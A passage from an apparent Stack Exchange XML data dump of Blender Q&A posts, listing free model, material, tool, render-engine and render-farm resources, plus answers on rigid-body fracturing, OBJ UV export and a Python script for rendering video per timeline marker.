location&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Sources_of_free_3D_models&quot; rel=&quot;nofollow noreferrer&quot;&gt;Noob to Pro&lt;/a&gt; (list of resources)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://sketchfab.com/features/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sketchfab Downloadables&lt;/a&gt; Large collection; large variety; various licenses; blend files are far and few in between but formats that Blender can't import are rare too&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.turbosquid.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TurboSquid&lt;/a&gt; Registration required; large collection of free stuff; blend files rare&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://3dmodelhaven.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;3D Model Haven&lt;/a&gt; Expanding library of high quality models as blend and fbx files (will soon be merged with other Haven sites &amp;gt; &lt;a href=&quot;https://polyhaven.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://polyhaven.com/&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditorDisplayName="user58715" LastEditDate="2021-01-09T19:40:37.557" LastActivityDate="2021-01-09T19:40:37.557" CommentCount="2" CommunityOwnedDate="2014-08-28T09:16:27.210" ContentLicense="CC BY-SA 4.0" />
  <row Id="15361" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T09:21:23.820" Score="17" Body="&lt;h2&gt;Materials&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blendermada.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blendermada&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender-materials.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender-materials.org&lt;/a&gt; (currently in development. &lt;s&gt;In the meantime the old repo can be found &lt;a href=&quot;http://matrep.parastudios.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/s&gt; It appears the old site is currently broken as well)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.blenderkit.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderKit&lt;/a&gt; since blender 2.8 directly in Blender. more than 500 materials&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.cyclesmaterialvault.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles Material Vault&lt;/a&gt; Paid; free sample download available from &lt;a href=&quot;https://www.dropbox.com/s/4mrsiys6qs4hzm7/cycles_material_vault-freebies.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-08-11T10:20:20.687" CommentCount="6" CommunityOwnedDate="2014-08-28T09:21:23.820" ContentLicense="CC BY-SA 4.0" />
  <row Id="15362" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T09:27:42.043" Score="27" Body="&lt;h2&gt;External Tools&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.gimp.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GIMP&lt;/a&gt; is a free and open source program designed for photo retouching, image composition and image authoring.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.makehumancommunity.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MakeHuman&lt;/a&gt; is a free and open source software for creating realistic 3D human models and rigs.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.inkscape.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inkscape&lt;/a&gt; is a free and open source vector graphics editor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://krita.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krita&lt;/a&gt; is a free digital painting and illustration application.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://hugin.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hugin&lt;/a&gt; - Panorama Photo Stitcher&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.jmc2obj.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JMC2OBJ&lt;/a&gt; - Minecraft to .obj converter for makers of MC scenes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/kmkolasinski/AwesomeBump&quot; rel=&quot;nofollow noreferrer&quot;&gt;AwesomeBump&lt;/a&gt;  is a free and open source program written using Qt library designed to generate normal, height, specular or ambient occlusion, metallic, roughness textures from a single image.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.cockos.com/licecap/&quot; rel=&quot;nofollow noreferrer&quot;&gt;LICEcap&lt;/a&gt; is a free and open source program that can capture an area of your desktop and save it directly to .GIF, or its own native lossless .LCF file format. It is available for Windows and Mac only, but the Windows version works remarkably well on Linux, through Wine.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/phw/peek#installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Peek&lt;/a&gt; is also a free and open source program that can capture and area of your desktop and save it directly to .GIF, which it is optimized for, or to .APNG, .WebM, or .MP4. It is made for Linux operating systems.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://boundingboxsoftware.com/materialize/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Materialize&lt;/a&gt; Free and Open source tool for creating material layers from flat images. Diffuse -&amp;gt; Height, Diffuse -&amp;gt; Metallic, Diffuse -&amp;gt; Smoothness, Height -&amp;gt; Normal, Height + Diffuse -&amp;gt; Normal, Normal -&amp;gt; Edge, Normal -&amp;gt; Occlusion, Normal + Height -&amp;gt; Occlusion, Normal -&amp;gt; Height, Seamlessly tile your textures, Save and load in a variety of formats, Automate many processes with clipboard commands in xml format.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.pureref.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PureRef&lt;/a&gt; is a simple and lightweight freeware tool for artists to organize and view their reference images. It is available for Windows, Mac or Linux.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;" OwnerUserId="29" LastEditorUserId="22099" LastEditDate="2020-06-16T13:18:50.767" LastActivityDate="2020-06-16T13:18:50.767" CommentCount="0" CommunityOwnedDate="2014-08-28T09:27:42.043" ContentLicense="CC BY-SA 4.0" />
  <row Id="15363" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T09:35:03.023" Score="24" Body="&lt;h2&gt;External Render engines:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://luxcorerender.org/&quot; rel=&quot;noreferrer&quot;&gt;LuxCoreRender&lt;/a&gt;  (formerly &lt;a href=&quot;http://luxrender.net/&quot; rel=&quot;noreferrer&quot;&gt;LuxRender&lt;/a&gt;) is a physically based and unbiased rendering engine. Supports Blender integration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.yafaray.org/&quot; rel=&quot;noreferrer&quot;&gt;Yafaray&lt;/a&gt; is a free open-source raytracing engine which supports both biased an unbiased rendering methods. Supports Blender integration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.thebountyrenderer.org/&quot; rel=&quot;noreferrer&quot;&gt;TheBounty&lt;/a&gt; is a &lt;a href=&quot;http://www.gnu.org/philosophy/free-sw.html&quot; rel=&quot;noreferrer&quot;&gt;free&lt;/a&gt; montecarlo raytracing engine. (fork of &lt;a href=&quot;http://www.yafaray.org/&quot; rel=&quot;noreferrer&quot;&gt;Yafaray&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.mitsuba-renderer.org/&quot; rel=&quot;noreferrer&quot;&gt;Mitsuba&lt;/a&gt; is a research-oriented rendering system in the style of PBRT.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://appleseedhq.net/&quot; rel=&quot;noreferrer&quot;&gt;Appleseed&lt;/a&gt; is a modern, open source, physically-based renderer designed for production rendering.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://jot.cs.princeton.edu/&quot; rel=&quot;noreferrer&quot;&gt;Jot&lt;/a&gt; is a program that lets designers, artists and animators directly annotate 3D computer graphics models (and animation) for stylized (NPR) rendering [in real time]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A blender exporter and more up to date info can be found &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Jot_Exporter_for_Blender&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.evermotion.org/nox&quot; rel=&quot;noreferrer&quot;&gt;Nox&lt;/a&gt; is a free stand-alone, physically-accurate state-of-an-art renderer. &lt;em&gt;Windows only&lt;/em&gt;&lt;br&gt;&lt;em&gt;(open-source since 2014 but seems original authors abandoned)&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/aqsis/&quot; rel=&quot;noreferrer&quot;&gt;Aqsis&lt;/a&gt; is a cross-platform 3D rendering solution adhering to the RenderMan standard.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://povray.org&quot; rel=&quot;noreferrer&quot;&gt;POV-ray&lt;/a&gt; is a high-quality, Free Software tool for creating stunning three-dimensional graphics. Supports Blender integration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/bsavery/PRMan-for-Blender&quot; rel=&quot;noreferrer&quot;&gt;PRMan&lt;/a&gt; Another cross platform integration of Pixar's RendermanProServer 20.0+ (Free for non-commercial use).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.chaosgroup.com/en/2/vray_blender.html&quot; rel=&quot;noreferrer&quot;&gt;V-Ray for Blender&lt;/a&gt; An add-on that packages a .blend file and converts it into a format that V-Ray standalone knows how to render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bmaxwell/&quot; rel=&quot;noreferrer&quot;&gt;B-Maxwell&lt;/a&gt;&lt;br&gt;&#xA;The B-Maxwell add-on is a basic exporter from Blender to Maxwell Render (Windows and Linux). &lt;em&gt;&quot;B-Maxwell add-on offers seamless integration with Maxwell Render and Blender&quot;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://home.otoy.com/render/octane-render/&quot; rel=&quot;noreferrer&quot;&gt;Octane-Render&lt;/a&gt; Commercial plugin for blender available. GPU accelerated Unbiased rendering engine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="16640" LastEditDate="2018-06-09T22:51:45.113" LastActivityDate="2018-06-09T22:51:45.113" CommentCount="0" CommunityOwnedDate="2014-08-28T09:35:03.023" ContentLicense="CC BY-SA 4.0" />
  <row Id="15365" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T09:47:02.197" Score="20" Body="&lt;h2&gt;Rendering services:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.sheepit-renderfarm.com/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sheep-it&lt;/a&gt; is a free distributed render farm for Blender.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://raypump.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ray Pump&lt;/a&gt; &lt;em&gt;Closed down in 2016&lt;/em&gt; is a software that provides free, easy and efficient access to GPU/CPU Render Farm. Current version is designed for Blender and its Cycles engine.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blendergrid.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Grid&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://render.st/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RenderStreet&lt;/a&gt; (highly recommended among blender users)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.renderfarm.fi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Renderfarm.fi&lt;/a&gt; (seems to be defunct, doesn't load)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://garagefarm.net/?lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Garage Farm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.rendicity.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rendicity&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://keyframez.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keyframez&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://vfxfarm.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;VFXFarm&lt;/a&gt; Fast Cloud Rendering Service Supports Major Plugins Maya, Octane, Blender, Houdini.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="115020" LastEditDate="2021-01-26T10:58:08.000" LastActivityDate="2021-01-26T10:58:08.000" CommentCount="0" CommunityOwnedDate="2014-08-28T09:47:02.197" ContentLicense="CC BY-SA 4.0" />
  <row Id="15366" PostTypeId="2" ParentId="15313" CreationDate="2014-08-28T11:34:08.740" Score="0" Body="&lt;p&gt;I solved that issue by selecting these triangles and clicked the Smooth button on left panel. Now the colors of these triangles are same as other triangles.&lt;/p&gt;&#xA;" OwnerUserId="5775" LastActivityDate="2014-08-28T11:34:08.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15367" PostTypeId="2" ParentId="6978" CreationDate="2014-08-28T11:42:35.657" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the sdk for your card (AMD should have some sdk for OpenCL)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a batch file to replace your blender shortcut:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd C:\Program Files\Blender Foundation\Blender&#xA;set CYCLES_OPENCL_TEST=all&#xA;Blender&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save as &lt;code&gt;startBlender.bat&lt;/code&gt; and run it as administrator&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the user preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;) and go to &lt;em&gt;System&lt;/em&gt; tab, set compute device to &lt;strong&gt;CPU&lt;/strong&gt; only (GPU and CPGPU might not work for AMD, you would have to test it yourself)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;strong&gt;Scene&lt;/strong&gt; settings set &lt;strong&gt;Render &gt; Device&lt;/strong&gt; to &lt;strong&gt;GPU Compute&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set your viewport &lt;em&gt;Shading&lt;/em&gt; to &lt;strong&gt;Rendered&lt;/strong&gt; to test it and compare it with &lt;em&gt;CPU compute&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait first time (Blender needs to compile the OpenCL kernel)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enjoy faster renders (40 percent at least on my side)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This worked for my Intel card and for Nvidia the OpenCL functionality is included inside the driver, so no SDK download was required, perhaps some other things are required for AMD. I don't know about that, sorry.&lt;/p&gt;&#xA;" OwnerUserId="5797" LastEditorUserId="1363" LastEditDate="2014-08-28T12:59:47.327" LastActivityDate="2014-08-28T12:59:47.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15369" PostTypeId="1" CreationDate="2014-08-28T13:03:50.687" Score="3" ViewCount="406" Body="&lt;p&gt;I have long wanted to make a two-part destruction using RBP, namely, an object is struck and breaks into two pieces which fall, hit the ground, and then each break into multiple smaller objects.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution works rather well, though it can be tedious.  There may be a better way which may well be the Bullet Constraints Tools but I have had little success in managing the details.  A short test movie can be found &lt;a href=&quot;https://www.youtube.com/watch?v=ZgnJsMp_zWA&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Does anyone know a better way?&lt;/p&gt;&#xA;" OwnerUserId="5799" LastEditorUserId="599" LastEditDate="2014-08-28T18:25:36.170" LastActivityDate="2014-08-30T00:37:09.280" Title="Two stage collapse using rigid body physics?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15370" PostTypeId="1" CreationDate="2014-08-28T14:04:40.943" Score="1" ViewCount="811" Body="&lt;p&gt;I want export .obj files from Blender. I export them with normals and UV Coordinates. I then import them into an OpenGl application. In UV Editor i am able to display the coordinates of the cursor normalized. My Problem is that i need to export them normalized cause OpenGL needs them that way. Is there any possibility to do this or do i have to write and application which converts them manually?&lt;/p&gt;&#xA;" OwnerUserId="5800" LastActivityDate="2014-08-28T15:11:23.337" Title="Export .obj with normalized UV coordinates" Tags="&lt;uv&gt;&lt;export&gt;&lt;opengl&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15371" PostTypeId="2" ParentId="15370" CreationDate="2014-08-28T15:11:23.337" Score="1" Body="&lt;p&gt;I found the problem. The output was normalized but blenders coordinate system starts in the lower right. My coordinate System in OpenGl has (0|0) in the upper left.&lt;/p&gt;&#xA;" OwnerUserId="5800" LastActivityDate="2014-08-28T15:11:23.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15372" PostTypeId="1" CreationDate="2014-08-28T15:17:03.077" Score="7" ViewCount="485" Body="&lt;p&gt;Id like to be able to use markers to render multiple video files.&#xA;This would be handy when binding markers to camera switches so each camera gets its own video file, is this possible?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Had a request for this, thought it worth making an SE question&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-08-29T01:51:26.060" LastActivityDate="2015-12-31T08:36:39.287" Title="Render Videos From Marker Ranges?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15373" PostTypeId="2" ParentId="15372" CreationDate="2014-08-28T15:18:10.857" Score="8" Body="&lt;p&gt;This isn't possible out-of the box, but it can be done with a script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This isn't an addon, just paste the script into the text editor and run it, you may want to change the variables at the top.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# frames to use before and after&#xA;FRAMES_PAD = 0&#xA;# real render 3d scene or GL preview?&#xA;USE_OPENGL = True&#xA;# handle marker switching cameras&#xA;USE_MARKER_CAMERAS = True&#xA;&#xA;import bpy&#xA;from bpy import context&#xA;&#xA;wm = context.window_manager&#xA;scene = context.scene&#xA;# store original output&#xA;filepath_orig = scene.render.filepath&#xA;frame_range = scene.frame_start, scene.frame_end&#xA;&#xA;markers = sorted(scene.timeline_markers, key=lambda m: m.frame)&#xA;&#xA;# progress in cursor (countdown)&#xA;wm.progress_begin(0, len(markers) - 1)&#xA;scene.frame_start = 1&#xA;&#xA;if USE_MARKER_CAMERAS:&#xA;    markers_camera = [m.camera for m in markers]&#xA;&#xA;    def markers_cameras_restore():&#xA;        for m, c in zip(markers, markers_camera):&#xA;            m.camera = c&#xA;&#xA;&#xA;    def markers_cameras_disable():&#xA;        for m in markers:&#xA;            m.camera = None&#xA;&#xA;&#xA;for i in range(1, len(markers)):&#xA;    m_start = markers[i - 1]&#xA;    m_end = markers[i]&#xA;&#xA;    # just in case&#xA;    if m_start.frame == m_end.frame:&#xA;        continue&#xA;&#xA;    scene.frame_end = m_end.frame + FRAMES_PAD&#xA;    scene.frame_start = m_start.frame - FRAMES_PAD&#xA;    scene.render.filepath = filepath_orig + &quot;_######_&quot; + m_start.name&#xA;&#xA;    if USE_MARKER_CAMERAS:&#xA;        markers_cameras_restore()&#xA;        scene.frame_set(scene.frame_start)&#xA;        if m_start.camera:&#xA;            scene.camera = m_start.camera&#xA;        markers_cameras_disable()&#xA;&#xA;    wm.progress_update(len(markers) - (i + 1))&#xA;&#xA;    if USE_OPENGL:&#xA;        bpy.ops.render.opengl(animation=True)&#xA;    else:&#xA;        bpy.ops.render.render(animation=True)&#xA;&#xA;&#xA;# restore original values&#xA;scene.render.filepath = filepath_orig&#xA;scene.frame_start, scene.frame_end = frame_range&#xA;&#xA;if USE_MARKER_CAMERAS:&#xA;    markers_cameras_restore()&#xA;&#xA;wm.progress_end()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-12-31T08:36:39.287" LastActivityDate="2015-12-31T08:36:39.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15375" PostTypeId="2" ParentId="15369" CreationDate="2014-08-28T20:11:12.650" Score="1" Body="&lt;p&gt;Unfortunately blender doesn't really have much support for this kind of thing at the moment (the rigid body simulator itself was just added fairly recently). Ideally the fracturing would be done real-time, based on impact forces etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's possible to fake it with constraints, as you mentioned.&#xA;I like use &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?275823-WIP-Bullet-Constraints-Tools-0-3-7&quot; rel=&quot;nofollow noreferrer&quot;&gt;this addon&lt;/a&gt; for setting up lots of breakable constraints between the shards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple ways you can go about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way is to fracture object object into lots and lots of little shards, and constrain everything together with breakable constraints (using the addon).&lt;br&gt;&#xA;&lt;a href=&quot;http://gfycat.com/PowerlessMildCreature&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video of result&lt;/a&gt;, and &lt;a href=&quot;http://www.pasteall.org/blend/31238&quot; rel=&quot;nofollow noreferrer&quot;&gt;blendfile&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://fat.gfycat.com/PowerlessMildCreature.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to fracture the object normally, then manually cell-fracture the bigger shards and constrain them together with the addon.&lt;br&gt;&#xA;&lt;a href=&quot;http://gfycat.com/FarawayGlassBellfrog&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video of result&lt;/a&gt;, and &lt;a href=&quot;http://www.pasteall.org/blend/31263&quot; rel=&quot;nofollow noreferrer&quot;&gt;blendfile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://giant.gfycat.com/FarawayGlassBellfrog.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.440" LastActivityDate="2014-08-30T00:37:09.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15376" PostTypeId="2" ParentId="15355" CreationDate="2014-08-28T22:38:26.467" Score="14" Body="&lt;h2&gt;Free Online Courses&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cdschools.org/Page/455&quot; rel=&quot;nofollow noreferrer&quot;&gt;High school level course by James Chronister of Central Dauphin High School, Harrisburg, PA USA&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Video Tutorials&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/user/BlenderFoundation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Institute Channel on YouTube&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLjyuVPBuorqIhlqZtoIvnAVQ3x18sNev4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Video Editing (2.7X series [Current Series])&lt;/a&gt; by Mikeycal Meyers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLtuvwW4VAp5tu2RdbRHThM6FVFfvFur1g&quot; rel=&quot;nofollow noreferrer&quot;&gt;Track, Match, Blend!&lt;/a&gt; by Sebastian König&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLyelx0TsmSpf-8xZfjZveokSsIwj0F3lo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Character Creation Series&lt;/a&gt; by Darrin Lile&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="63664" LastEditDate="2018-11-19T21:37:05.670" LastActivityDate="2018-11-19T21:37:05.670" CommentCount="1" CommunityOwnedDate="2014-08-28T22:38:26.467" ContentLicense="CC BY-SA 4.0" />
  <row Id="15377" PostTypeId="1" CreationDate="2014-08-28T23:24:00.623" Score="0" ViewCount="2632" Body="&lt;p&gt;Sorry for the basic question! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out that my knees in the blender armature where not bending because I extruded them in a straight line. When I tried to create a bend in them in edit mode, the legs would revert to their straight position in edit and pose mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this??? &lt;/p&gt;&#xA;" OwnerUserId="5806" LastActivityDate="2014-09-28T19:01:13.943" Title="why do changes to the armature made in edit mode vanish when I change modes?" Tags="&lt;armature&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15378" PostTypeId="2" ParentId="15369" CreationDate="2014-08-28T23:26:11.720" Score="0" Body="&lt;p&gt;I do believe that you both may want to have a look at the new fracture modifier branch which is being developed by username: Scorpian81.  The video test I saw is impressive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(sorry but this is an all link answer.  By the time the links die, this should all be in Blender anyways so it won't matter.  I'll just delete the post in the future when someone shows up with a comment about this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php?title=User:Scorpion81&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php?title=User:Scorpion81&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you type in 'Fracture' over at Graphicall.org his builds will come up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://graphicall.org/?keywords=fracture&quot; 